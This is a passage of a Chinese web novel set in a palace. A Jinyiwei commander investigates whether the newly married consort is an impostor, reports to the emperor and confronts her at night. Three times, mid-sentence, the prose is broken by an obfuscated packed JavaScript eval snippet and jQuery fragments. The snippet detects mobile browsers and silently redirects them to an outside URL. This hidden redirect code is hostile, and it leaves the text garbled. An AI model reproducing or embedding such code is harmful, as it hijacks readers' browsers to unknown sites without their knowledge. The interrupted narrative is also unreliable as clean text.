他与云琛不和已久,前几日又发生了那些事,但作为锦衣卫指挥使,今日依照祖例与规矩,还是必须在迎亲的队伍里,护送贵妃入宫。 然而好巧不巧,队伍行至一半时,这个自称王良的男人竟然敲响了登闻鼓,说是要一定要阻止这门亲事,他想直接面见皇帝,状告云琛欺君之罪。 当时,除了他周徵以外,与他一同来到宁远门的,还有使节团中的兵部尚书、内阁次辅贾尉,以及礼部侍郎霍纪安,两人俱是云琛一手扶植的心腹,见到王良,脸一下子全黑了。 而那王良见到贾、霍二人则甚为热络,一口一个贾尚书、霍侍郎的,显然曾经接待过数次。 二人只装不认识,当场呵斥道:“无耻刁民,胆大包天,今日大喜之日,在这里污言秽语,是嫌活得太久?” 周徵心里觉得有意思,也不戳破,只站在一旁看这场好戏要如何演下去。 然而就连他也没想到,这个王良接下来的话竟让在场所有人为之一震。 只见他指着远处仪仗队中心,云昭昭轿辇的位置,大声说:“那里面的云贵妃是假的!” 此话一出,霍纪安气急败坏,“你放屁!” 他甚至忍不住上前踹了王良一脚,被两名锦衣卫拦下后依然不服地骂道:“你定是因为被撵了怀恨在心,才在这儿血口喷人!你个白眼狼!” 霍纪安二十多岁,年纪尚轻,贾尉则沉浮官场数载,遇事沉稳许多。他给霍纪安递了个眼色,示意他周徵在场,让他收敛着点,霍纪安这才作罢。 周徵对二人的小动作只当没看见,他看着王良命令道:“说下去。” 王良见状,立马扑倒在地,感激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108285|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“侯爷明鉴,真正的贵妃娘娘早就病死了,是小的婆娘前些时日夜里听见太医诊断亲口说的,说是小姐活不过当夜!但第二天小姐便像没事人一样活了过来,而且性格大变……” 周徵立马呵斥:“这种事可不能乱说!” 王良指着心窝子哭诉道:“各位大人,皇天在上,后土为证,小的岂敢胡说!小的和小的婆娘为云家兢兢业业服务了二十年多年,就算没有功劳,也有苦劳,更是把小姐当成亲生女儿一样护着,如今就因为不慎撞见了小姐的秘密,便连着一家三口被老爷夫人撵了出来,流落街头,这几日只能乞讨着过活,连饭都要吃不起了!!!” 霍纪安气得脸都白了,被锦衣卫拦着还不甘心地骂道:“你这刁奴,阁老把你们当做亲人,你被撵了,竟敢在这里编些鬼话污蔑阁老,快说,是谁这样教你的?!” “霍大人!小的所言若有一句假话,天打雷劈,不得好死!” 贾尉看准了时机,这时在一旁提议:“侯爷,依本官看来,这人空口无凭,口出狂言,还涉及贵妃,若是在这等大典上放他入宫惹恼了陛下,又冲撞了哪位贵人,我们今天这些随亲的人员,全都脱不了干系,你看呢?” 王良完全无视另外二人,只盯着周徵,爬到他脚边哐哐磕头道:“侯爷!侯爷!还请带小的面见陛下!让小的向陛下伸冤!小的有、有证据!只要把那太医院的郭院判叫来一问便知道了!” 贾尉一听到郭院判的名字立马变了脸色,他大声劝道:“侯爷,不能让此妖言惑众之人面见陛下!今日乃陛下贵妃大喜之日啊!” “是啊,武安侯,你不会在这个时候公报私仇吧?这可不是什么聪明之举。” 周徵冷漠地看着这些人或真或假的表演,终于,他做出了决定。 “燕二!”周徵抽开脚,吩咐一旁的属下道,“此人违规敲响登闻鼓,按规当罚六十大板,此外,妖言惑众,污蔑朝臣,再加二十大板。拖下去罢。” “属下遵命。” 那人被带走后,周徵又命人前去遣散附近的百姓,如此,这场闹剧才算彻底压了下去,并没有惊动更多人。贾、霍二人虽不喜周徵,却也当场对他拱手表示感激。 回到现实,想到半柱香之前的这些情形,周徵忍不住嘴角浮上一丝轻蔑的冷笑。 不远处的王良已经被打得渐渐短了气儿,股间屎尿横流,显然已活不长了。 周徵命人将他拖走,又对在场一众锦衣卫命令道:“今日之事,你们所有人,不得向外透露半分!若是陛下问起,就只说是有不长眼的捣乱,我自会向他解释。” “可是,侯爷——” 燕二刚想开口,周徵却摆手让他闭嘴。 “勿要多言,我自有打算,下去罢。” “是。” 众人散去后,周徵独自站在原地,盯着地上那摊凝成黑色的血迹出神。 燕二未说出口的话,他并非不清楚。 云琛党羽盘踞内阁、六部已久,狼子野心,陛下登基不过三年,根基未稳,现在还不是彻底同他们撕破脸的时候。而且今日之事确实有些蹊跷,尤其那个叫做王良的男人还提到了太医院的郭院判,说明他并不是完全信口雌黄,肯定还是知道些什么。 而前段时间,他得到了不知是谁递予他的线索,说是他锦衣卫中有人私下与云府有联络。这让他不得不重视起来,毕竟为了赵昶的安全,这种事情宁可信其有,不可信其无。 于是,近些时日夜里,他都会悄悄潜到云府外面,但却一直一无所谓。 直到那天夜里,他误打误撞,发现郭院判鬼鬼祟祟地深夜出入云府,便一路跟踪,最后在太医院内拦截了他,几番逼供下,得知云琛那女儿似乎是活不长了。他后来还奇怪,怎么一夜之间,那云府小姐就起死回生了?今日这管家一说他才一下子想明白。 原来他在云府外一路跟踪的那名“小偷”,恐怕不是什么“小偷”,这“起死回生”的云府小姐恐怕也并不是“起死回生”,而是偷梁换柱。 这样想来,当晚云琛口中云府涉及所有仆人的大事,以及云琛看到那名女子的反应,一下子全都得到了解释。 想到这里,周徵心里已有了主意。 今日之事后,云琛等人定会格外小心,他现在不能轻易打草惊蛇,但却可以找机会去会会这名如假包换的“云贵妃”。 10. 冷遇 迎亲仪仗又行数里,及至承安门处。 随着数丈高的巍峨宫门缓缓合上,街市的繁华,黎民的喧闹,凡尘的烟火,一切仿佛都被隔绝在了另一个世界。 唯有空中传来振翅之音。原来是一行南归的大雁从四方的天空中掠过,留下一道道转瞬即逝的残影。 天空碧蓝入洗,流云洁白如绸,红墙青瓦,紫阙金阶,朝中勋贵显要,列次立于汉白玉石桥两侧,再往后面,是六尚局、宫正司、二十四监的列队,远远望去,如同一张巨大棋盘上密布的棋阵,既庄重又肃穆。 在这张巨大棋盘的正中焦点处,云昭昭下了喜轿,顺着汉白玉阶梯,拾级而上。 刚才她在轿辇内还能随意歪着身子,甚至在喜服之下她还能悄悄翘起二郎腿,可现在数以万计的目光都聚集在她身上,她也只能挺直了腰杆,装出一副大家闺秀的派头。 台阶之上,正中站着一名身穿玄色龙袍的男子,不用想就知道,这便是皇帝赵昶了。 虽然隔着喜帕,看不到脸,但云昭昭只看他长身鹤立的身姿,便知他样貌定是不俗。 毕竟是小说里的男主,怎么可能丑嘛? 而且只是帅还不够,小说界长得帅的皇帝千千万,要让读者觉得足够爽,关键是设定还要足够苏,最好强大到把其他角色踩在脚下,这样才能凸显男主对女主的深情弥足珍贵。 赵昶就是这么一个男主。 书里,他是先帝和他的白月光昭文皇后唯一的嫡子。 他出生那年恰逢百年难遇的大旱,中原各地一连数月不曾下雨,京城外的田地肉眼可见的龟裂。先帝体恤百姓,在京郊云台寺中闭关祈祷数日,终于感动上天。于是昭文皇后生产当日,有五色云气聚于东方,久久不散,随着赵昶的出生,天将甘霖,接着各地纷纷落雨,令人头疼的大旱终于解除。 先帝大喜,亲自为孩子起名为“昶”,并为他开了先例,在他满百日时便立为太子,但遗憾的是,昭文皇后因难产落下病根,于三年后病逝。 赵昶从小就表现出了极高的才智和政治天赋,先帝丝毫不掩饰对他的偏爱,为他专门请了全国的名师大家进行教授功课,还经常把他叫到养心殿与自己同吃同住。在赵昶十岁时,就在朝堂的龙椅不远处为他专设小座,让他从小跟着自己耳濡目染。 久而久之,也没有任何人会怀疑赵昶不会继承皇位。 所以在这本书里,什么九子夺嫡之类的故事根本就不可能发生,因为其他皇子全加起来,在先帝眼里都不如赵昶的一根手指头,没有任何一个人能撼动他的位置。 什么是绝对的男主,这就是绝对的男主。 云昭昭小心翼翼地拖着裙子站在赵昶身边。厚重的礼服在午后烈阳的炙烤下将她包裹得密不透风,太监口中念出的冗长诵文听得她昏昏欲睡。等诵文念完,准备前去进行下一流程的时候,云昭昭发现,自己好像中暑了。 祭祖的奉先殿外有很长很高的一段阶梯,只能步行。她衣饰沉重,行动不便,加上身体不舒服,这个时候就需要有个人搀扶一下。按照入宫前教引嬷嬷授课时的说法,大婚时皇帝理应牵着皇后,以示帝后融洽,国泰民安。 但不知道是否因为她只是个贵妃的缘故,赵昶只当她是团空气。 而且云昭昭还发现,赵昶似乎永远同自己保持着三尺远的距离,自己如果走快几步,他就也会稍微加快步调;自己如果走慢一些,他甚至需要太监提醒才会停下来稍微等她,好像这场所谓的大婚在他眼里都是给群臣做的一出戏,他本人极不情愿似的。 结果就是,爬完台阶后,云昭昭已累得四肢无力,眼冒金星。她在进殿时一个不留神,不知道踩了什么,差点滑倒。但即使是这样,也不见赵昶搀扶一下,一切似乎与他无关。 幸好云昭昭眼疾手快,抓住了身侧的门楣,才避免了殿前失仪,冒犯皇室先祖。当然从外人看来她只是身子晃了一下。 这之后,她强撑着中暑的身体,再也不敢松懈半分。 原本看书的时候她还很喜欢书里的赵昶,现在却对他的印象分大打折扣。 毕竟再帅再苏再深情专一,也是古代的皇帝,怎么可能随意为人屈尊降贵? 书里以女主视角来看,他是深情专一的古代腹黑霸总,且只对女主一个人好。 但云昭昭现在从其他女性角色的视角来看,这人就是活脱脱的没素质,没有一点绅士风度。糟透了。 云昭昭一边在心里骂骂咧咧,一边熬过了冗长枯燥的典礼仪式,她的身份也算是经过了朝臣和列祖列宗的认可。 但这还仍算不上结束。 按照本朝的传统,她还要同赵昶在永麟殿内行合卺礼,再由赵昶亲自掀开她的喜帕,共度洞房花烛之夜,一切才算是尘埃落定。 云昭昭并不太担心这后面的洞房花烛夜,按照书里的情节,赵昶今夜并不会与她一同过夜,相反他会深夜跑到御花园散心,并遇上书里的女主易琉璃。 彼时的易琉璃还是个小小的答应,入宫后她一直佛系躺平,从不出风头,但就是这一夜她偶遇了赵昶,改变了她的命运。赵昶不仅当夜留宿在了她的宫里,并且第二天就封她为常在,赏赐了她各种珠宝。 反观云昭昭的原身云贵妃,不仅大婚当天被冷落,独守空房,而且男主直接留宿其他嫔妃那里,这简直就是在她的脸上扇了重重的一记耳光,以原身的脾性,她怎么能忍受这样的赤裸裸的羞辱,于是当即就去找易琉璃,要给她下马威。 结果自然不言而喻。 但现在云昭昭不同,她巴不得赵昶赶紧去找女主,最好永远留在女主那里。而且古代的婚礼流程在她看来堪比大学时严酷的军训,既是体力的折磨也是意志力的摧残,她现在又累又饿,因为中暑头晕恶心,如果身后能有一张柔软的床,她恨不得一头扎进去,永远也不要醒来。 果然,一切同她所料。 当太监邀请赵昶同他共乘龙凤轿辇前往永麟殿时,赵昶当着前朝和后宫一众人的面,不耐烦地摆手道:“免了,就先到这里吧。” 今日服侍云昭昭的那几名内廷女官当场变了脸色,这些人未来都会成为云昭昭宫中的班底。为首一名女官当场跪倒在地,劝道:“陛下,这、这不合规矩。” “什么规矩?朕就是规矩!朕还有政务要处理!”赵昶有些愠怒,说完又小声补了一句,“你们还真当是朕的大婚了……” 他这话说得极重,全场哗然,无论是在场的太监还是宫女,甚至所有对这场婚事的缘由心知肚明的朝臣,一时间全都心惊胆战,没人再敢随意表态。 帝王与内阁之间的矛盾如同经年的沉疴,愈久愈难根治,尤其是遇上赵昶这样强势的新帝和云琛那样手握重权的辅臣,那道裂痕便被撕扯得更开,若是没人去探究倒还好,无论内里的伤口如何蔓延,至少表面的皮肤看上去完好无损,可一旦撕开伤疤,就立马会露出里面鲜血淋漓的疮痍。 赵昶对众人噤若寒蝉的表现十分满意,神情从刚才典礼时的严肃变得舒展了不少,临走时他还特别留意了一下云昭昭。 只见她安静地站在一侧,脸隐匿在喜帕之下,看不清表情,身体依旧保持着毕恭毕敬的姿态,既没有表示不满,也没有任何情绪,仿佛他刚才说的话同她毫无干系。 赵昶略微有些惊讶。 不是听说脾气很差,骄纵又跋扈,从小就被宠得无法无天吗? 他有些不解,但他才懒得去细想其中缘由,直接转身登上回养心殿的轿辇,扬长而去,朝臣们也随之作鸟兽散。 渐斜的日光将人影拉得很长,云昭昭一个人被留在原地,影子孤零零的,身上的大红喜服在人群中显得格外刺眼。 留下的宫人们有的同情她,有的怕她,畏惧她。大家面对赵昶留下的这个“烂摊子”简直是有苦难言,不知道该如何是好,便凑在一起窃窃私语。 毕竟云昭昭原身的脾性和事迹在他们之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108286|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早就传遍了,现下谁也不敢上前主动与她说话,生怕这位性格跋扈的云贵妃当场发起飙来。 最后,是司设监掌印太监李四满脸堆着笑上前,讨好地劝道:“娘娘,您看……陛下忙于政事,或许今夜要迟一些来,还请娘娘乘轿辇到永麟殿候着陛下行合卺礼。” “没必要。”云昭昭说。 虽然她现在更多是身体上的不适,但这不代表她可以无视刚才赵昶的话,她当即对心里赵昶这个角色头上划了一记大大的红叉,并将其印象分排位又降了几个档次,但仍排在垫底的周徵之上。 云昭昭不想再见到这姓赵的,便问李四:“我住在哪宫?我要回去。” 李四闻言,一个劲儿地揣摩她的心思,以为她是恼了,便面露难色地说:“回贵妃娘娘,您的昭阳殿奴才们还未收拾妥当,而且依规定,今日您必须得同陛下入住永麟殿,明日一早还要去面见太后娘娘……” 云昭昭已经难受得一刻也不想多呆,她没工夫在这听李四解释,管它昭阳殿还是永麟殿,反正今夜她都不用面对赵昶,只要有张床供她歇息就行。 她随即应了李四,乘轿辇来到永麟殿,殿内暖气宜人,龙凤双喜花烛摇曳着金红的光影,柔软的蜀锦百子被上滚着桂圆、莲子、枣、栗子、荔枝等物。云昭昭摸了一把,发现那看似厚实的蜀锦喜被像云朵一般,摸上去又轻薄又柔软,令她甚为满意。 “还请娘娘先在殿内候着,待陛下处理完政务后便来。”女官说道。 云昭昭深知赵昶今夜不会再来,她又累又难受,打发了宫人过后不一会儿,便扫落一床的果子,脱掉闷沉沉的礼服,盖着软绵的被子睡着了。 不知睡了多久,她被噩梦魇住,在梦里又回到了以前最黑暗的那段日子,挣扎着醒来后,已是一身大汗。 中暑的症状似乎已经消去了大半,就是肚子饿得不行,发出一声声“咕咕”的抱怨。 夜似乎已经很深了,永麟殿内的花烛已经烧得快见了底儿,只剩下靠近烛芯的那短短一小截,似乎能听见外面守夜的宫人发出的熟睡的鼾声。 云昭昭不便再去麻烦人,看见桌案上摆着的糕点,便就着一旁的冷茶,塞了两块进嘴里。 然而,就在她狼吞虎咽果腹的时候,抬头突然看见殿内的窗纱上印出一道身影。 有人来了。 而且看那身形,应当是个男人。 云昭昭第一反应便是赵昶,毕竟能深夜出现在永麟殿外的男人,除了赵昶还能有谁?难道他今夜没按照书里的剧情去女主那歇息,而是想不开到永麟殿来和自己进行那未完成的合卺礼? 再往后的事她不敢细想,她听到自己胸口撞钟般的声响,今日在众目睽睽之下被赵昶给脸色都没有令她如此仓皇。 最要命的是,她之前为了睡得舒服已经把身上的喜服脱得什么都不剩了,只省最贴身的亵衣,现在再穿上,已经来不及了。 说时迟那时快,云昭昭飞快地将落在地上的喜帕捡起,遮住脸,然后用大红锦被裹住自己的身体。 她打定了注意,若是赵昶非要让她侍寝,她就先装睡再装病。 不过刚做完这一切,她就发现了不对劲。 因为距离窗外的身影一晃而过已经有一阵了,但一直没有宫人进来通报,甚至也没有听见赵昶的脚步声。 难道刚才她看到的不是赵昶,而是别人?而且对方似乎也不是朝永麟殿来的,只是路过? 就在云昭昭进行完思考,并开始庆幸的时候。 透过喜帕下的视野间隙,她看到了一双熟悉的鞋子。 仿佛鬼魅一般,几乎是在她眨眼的间隙间就出现在了她眼前。 她吓得登时一个激灵。 他来干什么? 这人走路都没有声音的,难道是专门要来杀了自己? 云昭昭还来不及细想,头上的喜帕便被人一把揭开,她果然看见了周徵那被烛火映照得通红的脸。 11. 软玉 约莫一炷香之前,周徵被赵昶传唤到了养心殿。 赵昶一改之前典礼上的轻视与怠慢,反而对今日云昭昭的入宫十分重视。 “明彰。” 赵昶搁下手中的朱笔,缓缓开口:“听说今日云氏入宫的队伍中途停了好一阵,这是怎么回事?” 周徵双手抱拳,郑重道:“臣也正想向陛下禀奏此事。” “呵,这么郑重其事干嘛。”赵昶笑了下,指着旁边的空位,“早就说了,你我之间何须如此拘礼,坐罢。” 周徵不仅不坐,反而跪下道:“陛下,今日大约午时,使团行进到半路时,有人敲响了宁远门的登闻鼓。” “哦?”赵昶说,“自击鼓令推行后,那鼓空置已久,朕还以为没人再敢去敲了呢。是何人如此大胆?” 周徵答道:“那人乃云家之前的管事王良,其妻是云琛夫人柳氏的陪房,近日因犯了事,全家老小被撵出了府,发配到云家位于京郊的庄子里去了,看样子应当是日子过得不尽如人意。” 赵昶把玩着腕间的沉香手串,珠子上交错密集的纹线如同诡谲的波纹。他的面色依旧平静,唯有眉间多了一分阴沉。 “确实大胆,不过有点意思……那这王良击响登闻鼓又是所为何事?” 周徵闻言,低头请罪道:“陛下,请恕臣未经请示,擅自做主之罪。” 他说完便将王良敲鼓时状告尽数禀告了赵昶,最后又说:“按照律令,臣已命人将那王良打了八十大板,现在人已经没气了。” 赵昶脸上笑意更浓,他问:“那你觉得这王良是在说谎?” “不,臣恰恰认为他说的都是真的。”周徵道,“臣这些时日奉陛下之命,同时为了肃查锦衣卫内部奸细,便一直盯着云府的动向,现在已经掌握了一些线索,只是考虑到目前不能打草惊蛇,且那王良曾经作为云府的总管,人是何等的精明圆滑,绝非会因一时被撵而意气用事之徒,他这时候跑来揭露云氏的事,其中定是有鬼。今日他跑去击鼓已经惊动了不少人,当时情况紧急,臣只能擅自做主将他先打死,还请陛下恕臣之罪!” 赵昶盯着周徵,脸上露出一个莫测的笑意。过了半晌,他才说:“周爱卿何罪之有,免了。” 随后他对周徵的决断表示了赞许:“你做得对,朕好不容易用云氏的入宫同云琛换得了京中四大营阵的操练权,虽然贾尉气得不行,但到底也抵不过云琛爱女如命。” 赵昶又说:“咱们现在确实不能轻易激怒云琛那老家伙。过几日朕便会下令将这四大营交由你负责操练,你回去好好准备,莫要让朕失望。” 见赵昶并不怪罪自己,周徵也放宽了心,想了一下,又谨慎地劝道:“可陛下今日在祭典上说的话也有点过了,恐怕会引起云琛不快。” “不快?朕就是要他不快!”赵昶将手中沉香木串啪地一下摔在地上,木珠滚落一地,“要不是为了我们的大业,谁想娶云氏那母老虎?你周徵想娶吗?” “……” 周徵沉默不语。 赵昶越发不爽,更是毫不客气地吐槽道:“此女虽然外貌出众,却恃靓行凶、骄横跋扈,无法无天至极,听说去年女眷们的宫宴上,因自己准备的节目被朕的纯嫔抢了风头,便当即掀了桌子羞辱了纯嫔一通,言语粗陋不堪,还泼了她一身的羹汤,纵观京城,有哪个士大夫家的女儿像这样的?这成何体统?” 周徵见他有些愠怒,便出声提醒道:“陛下,您忘了刚才臣转述的王良的控诉吗?此女恐怕已不是那云氏,不然,今日她也不会这么忍气吞声。” 赵昶终于意识到自己的失态,拢了拢袖子,点头道:“罢了,朕是气过头了。” 周徵犹豫了一下,最终还是决定开口。 “陛下,臣有个不情之请,之前监视云府时臣曾与那女子打过照面,臣想立刻去探查一下她与今日入宫的云氏是否是同一人。” 他轻描淡写地说着,隐去了自己同云昭昭之间的缠斗以及云昭昭偷了东西典当的诸多细节。 赵昶一听,立刻消了气,他拍了拍桌子,指着周徵调侃道:“好你个明彰,想去看美人就直说,用不着同朕这般拐弯抹角。” 周徵听出他话里试探的意味,当即回答道:“陛下有所不知,那女子奸猾得很,臣也是担心陛下的安全。” 说这话的时候,他的手下意识地摸着手背上的那道疤痕,仿佛还有一种灼烧般的痛觉。 赵昶将周徵打量了一番,见他一副不开窍的模样,又笑着说:“明彰,你只比朕小两个月,却还未成亲,朕好歹也算你的兄长,这些年来朕从未见你留意过哪家小姐。这样,改日朕命人先从宫里挑几名貌美的宫女给你送到府上去。” “不必了,”周徵打断道,“陛下,现在还不是考虑这些的时候。” “诶,这哪成?这男人嘛,虽然在外建功立业是第一位的,但家里,也不能没有女人。再说了,从小母后就视你如同亲子,要是你老大岁数了还没个后,母后她泉下有知,也不会放过朕的。” 谁知周徵郑重地抱拳,推拒道:“陛下,臣今生已为陛下之刀俎,决不能再娶妻耽误了其他女子,况且,周家的血脉,也并不是那么值得延续下去……” “哎,朕可没有提那件事,也没有那个意思啊……” “臣知道,但就算陛下不提,臣也无法原谅父亲,因为这是我们周家,欠皇家的,臣能苟活于世,已是受了极大的恩典,断不敢再有别的奢求。” 赵昶拿他这幅榆木脑袋不开窍的样子毫无办法,心里却十分受用,最后他只得装模做样地挥挥手道:“罢了罢了,随你吧。” 周徵便静默地立在一侧,墨色的眸子盯着虚空里的某处,不知道在想什么,整个人仿佛与腰间的那把绣春刀如出一辙,既无趣,又寡言,却又让赵昶觉得心里格外踏实。 赵昶收敛了玩世不恭的笑意,“既然朕允了你出入宫里,便是百分百地信任你。” 说到这里他长叹一声,改口道:“这么多年了,明彰,我能完全信任的人,也只有你一个。” “臣的命就是陛下给的,自当为陛下肝脑涂地。”周徵道。 “去吧。” 得到了赵昶的允许后,周徵挑了半夜的时间踏夜前往永麟殿处。殿外守卫的宫人已经睡着,周徵特意敛了脚步声,悄无声息地潜入殿内,果然见那女子半倚在床榻上,头顶的喜帕将落不落,一副熟睡的样子。 他没有半分犹豫,直接一下掀开喜帕。 谁曾想喜帕之下的那双杏目睁得大大的,正凶神恶煞地瞪着他,仿佛已经摆着这个造型守株待兔了许久,只等着他上钩。 尽管面前这名女子凤冠霞帔,如明珠生晕,美玉荧光,一颦一动间顾盼生辉,同那夜那名邋遢的乞丐模样的小偷一个像住在天上的仙宫里,一个似生在地下的泥泞里,但透过那双眼睛里,那股倔强的、要和人拼命的狠劲儿,周徵还是一眼就认出了云昭昭。 “果然是你。”周徵脱口而出。 云昭昭见了周徵必定是不可能给好脸色的。只见她挑了下眉,弯起嘴角,带着一种恶毒的笑意,讽刺道: “是我又如何?倒是武安侯,深夜来这永麟殿来也不怕让人知道,还是说,你家陛下不太行,所以特地派武安侯前来替他行这合卺礼?” “你!!!” 周徵恼羞成怒,他真是后悔刚才怎么会打断赵昶的话,这女人分明就与赵昶口中描述的云氏一样。 “你一个女子,不知廉耻,满口污言秽语,成何体统?” “哟,这就恼了?”云昭昭笑靥如花,反唇相讥道,“你不仅身为臣子,甚至还算是与赵昶一同长大的手足,如今我入了宫,虽然只是个贵妃,但好歹也算得上你半个嫂子,你深夜偷摸跑来看我睡觉,到底是谁不成体统、谁不知廉耻了?!” 周徵简直又羞又气,耳根子都红了,但她那般伶牙俐齿,自己又确实理亏,便也懒得同她在这个话题上再作争辩。 不过他此行的目的已经达成,他也不再废话,当即直奔主题质问道:“我今日来是想问你,云氏已死,云琛把你找来作这云氏的替身入宫,究竟有何目的?” “什么?”云昭昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108287|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊愕道。 周徵见她反应,以为是自己说中了,便又道:“你若老实交代,或许之后在诏狱里还不至死得太难看。” 云昭昭左思右想,终于反应过来,他口中所说的“云氏”便是原身。 她大概明白了周徵的意思,突然觉得有些荒唐。 她在穿书后是一直把自己看成是原身的“替身”不假,但替的是灵魂,这具身体却怎么都是真的。书里的古人怎么会理解什么是穿书呢。 云昭昭眼珠子一转,反问道:“既然武安侯一口咬定我是假冒顶替的,那敢问,放眼全国,我爹从哪里能找到我这幅容貌的替身?” 她语气十分笃定,毕竟是看过原著的人,知道这个世界再怎么离谱也脱离不了原著作者的设定。原著里原身虽然又惨又恋爱脑,但依旧是作者笔下长相最美丽的女角色。 没有之一。 “……” 如她所料,周徵闻言,果然皱起了眉头。 他百思不得其解,目光又不自觉地飘到云昭昭的脸上。 无论他怎么想否认,最终都不得不承认,面前这张脸,都比他从小在宫里见过的任何一个嫔妃都要明艳动人。 虽然他过去从未见过云琛之女,但从周围人的描述中也大概知道,那是怎样一名倾国倾城的美人。 如果这传言有假,这位云小姐只是相貌比常人略胜一筹,那云琛也犯不着去搜罗一名这样的美人来,另一方面,如果云小姐真出落得如面前女子一般,那云琛恐怕用再大的力气也很难找到长相如此相似,且容貌、气质都如此惊艳绝伦的女子。 云昭昭光是这一句话就将他堵得哑口无言。看着她一副小人得志的笑容,周徵越发觉得赵昶形容她的那番话精准至极。 恃靓行凶。 可以再加一个,狂妄自大。 周徵一时陷入了沉思,目光便开始不受控制,于是很自然地就顺势而下,从云昭昭的脸转到她的露在外面的脖颈,凝脂鹅腮,冰肌玉骨。 再往下……那藏在锦被之下,半遮半掩处,正好有一粒鲜红的朱砂痣,若隐若现,在烛火的映照下越发娇艳欲滴。 周徵下意识地咽了下口水,他这才回过神来,意识到自己的失礼,慌忙移开了目光。 正在这时,刚才他进屋时就已经快燃到尽头的红烛摇曳了几下,彻底熄灭了。 永麟殿内顿时陷入一片漆黑。 惨淡的月光没法将一切照得清明,反而让殿内的事物越发朦胧起来,宛若笼着一层轻软的薄纱。 唯有云昭昭半露在外的雪白皮肤,在黑灰的视野里格外扎眼。 周徵身体越发紧绷起来。 与此同时,云昭昭也很是紧张,不过以周徵的性格,她并不担心周徵会有什么出格的举动,反而这种夜黑风高的时候,在她看来最适合杀人越货,行凶下手了。 “周徵!” 云昭昭以为周徵认定自己是假的,生怕她对自己下手,便半是戒备半是威胁道:“这个时候还在这儿,你是希望明天一早宫里就传出我们之间有一腿的传闻吗?” 周徵:“……” 经她这一提醒,周徵仿佛从被定在原地的人,一下子被解开了穴位。他一句话也没说,当即推开永麟殿的窗户,纵身一跃跳了出去。 果不其然,过了一会儿,有在外间守着的宫女,像是听到动静之后醒了过来,见殿内的花烛熄了,便掌着灯过来点烛。 那宫女点上烛后发现云昭昭竟然醒着,吓了一大跳。 “啊!贵妃娘娘,您,您怎么醒了?” 她转头又看见殿中的窗户开着,连忙又问:“这,这扇窗户是怎么回事,奴婢好像记得……之前明明是关上的啊。” 云昭昭看着那大开的窗口,呜呜地向殿内吹送着冷风,心有余悸地感叹幸好周徵动作快。 感叹完后,她突然意识到,自己为什么要有种做贼心虚的感觉啊? 她和周徵根本就没什么。没什么的。 “许是夜里风太大,把窗户吹开了。”她对那宫女说,“没什么,去关了罢。” 12. 温香 周徵几乎是从永麟殿内落荒而逃的。 仿佛偷饮了最浓烈的醇醴,酒酣耳热,那种微温发烫的感觉,从脸上一路蔓延到耳根。 一到殿外,他就像个溺水得救的人一般,大口吞咽着新鲜的空气。 可偏生永麟殿外,栽种着一排排今岁南诏进贡的晚香玉,夜里恰逢花开,钗粱嫩萼,碧玉秀荣,幽香习习。 馥郁热烈的花香让周徵更加心猿意马。 他暗暗在心里警告自己不要多想,但没走出几米便走了神,脑海中挥之不去的都是云昭昭皓雪凝霜的脖颈。那粒鲜红欲滴的朱砂痣更是像阴魂不散一般,在他眼前萦绕。 他忍不住地自暴自弃般吐出了几个脏字。 算起来,他在宫里已经呆了十八年了。 四岁时父母因罪先后去世,他早早地没了双亲,并背负着周家、以及武安侯这个爵位背后滔天的罪孽。昭文皇后可怜他,将他接入宫中,当半个皇子教养,后来又指定他为赵昶的伴读。 从懵懂无依的孩童,到到如今自甘成为赵昶的鹰犬为他鞍前马后,日夜奔波在宫内宫外,算起来,他这一生中大半个幼年时期,全部的少年时期,还有如今的青年时期,全都是在宫里度过的。 在宫里,就难免接触到各色嫔妃女眷。 但他从小寄人篱下,虽然做了赵昶的伴读,沾了他的光,但他依然脱不掉身上那“罪臣之子”的烙印。 这烙印他自己看不见,摸不着,但却像施了咒一般,随着“武安侯”这顶沉重的金爵,融入到了他流淌的血液里,他的举手投足间,以至于他在宫里见过的每一个叫得上姓名的人见面都要对他提一嘴: 你是罪臣之子,能得今日之庇佑,应当改过自新,为君王披肝胆,洒热血,做一个忠君体国的忠臣,才当得上“武安”之名。 虽然周徵一直不知道自己哪里错了、哪里需要改过自新,也许只是因为罪臣之子本来就该死,所以他从小时候到成年后,在宫里都一直小心翼翼,克己守礼。 对宫里那些脂香粉浓的莺莺燕燕,他一直内心坦荡,光明磊落,绝不会多看一眼。 他第一次半夜醒来发现被褥湿了的时候,还是因为头天晚上被赵昶坑蒙拐骗,拐去了青楼,抹不开面子只能让里面的姑娘陪着喝了一杯酒。 但这之后他越发地谨言慎行、心无旁骛起来。 毕竟为人刀俎者,手里沾满鲜血,刀尖舔尽仇恨,绝不能沉迷在那些缥缈的感情与虚无的欲望中。 